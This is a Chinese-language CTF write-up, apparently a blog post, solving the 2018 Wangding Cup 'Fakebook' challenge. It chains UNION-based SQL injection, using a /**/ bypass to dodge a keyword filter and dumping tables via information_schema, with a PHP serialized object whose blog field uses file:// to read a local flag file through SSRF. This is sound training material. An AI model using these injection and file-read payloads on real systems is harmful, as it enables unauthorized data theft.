[网鼎杯 2018]Fakebook

非常好题目,使我大脑旋转,将注入、ssrf与反序列化结合,出题师傅真是绝顶!!

1.打开题目,直接join,需要注意的是blog不能随便添加,这里以bilibil.com为例子成功添加。

2.进入查看源码,可以看到在最低部出现了B站的连接,也就意味着该处可以引用资源,此时还没用先放着。

3.在url处可看到参数no为1,在结合页面展示内容,自然可转到sql注入。构造payload,试出column有四,2处回显。

        注意:在测试过程中发现对同时出现的union select有过滤,可以用/**/作为space分割绕过详细可见生命在于学习——SQL注入绕过-CSDN博客

4.爆库,爆表...

(1) -1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()# 爆出'users'表

(2) -1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='user'#  爆出no,username,passwd,data

(3) 查看data内容

5.查看data,我们发现这是一个PHP序列化内容,那我们就需要看到源码是怎样的。

6.通过/robots.txt找到源码,重点其实只有这几行,我们在前面已经提到blog可以实现资源引用,那就意味着我们可以通过构造blog序列化内容,实现本地文件读取

<?php

class UserInfo

{

    public $name = "";

    public $age = 0;

    public $blog = "file:///var/www/html/flag.php";//file是本地文本传输协议,对地址来源可以观察Notice给出的/var/www/html/view.php

}

$a = new UserInfo();

echo serialize($a);

?>

7. 构造最终payload

注意:序列化内容要在4号位置,这由column的顺序决定

blog已经改变,查看源码,找到底部链接即可获得flag

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值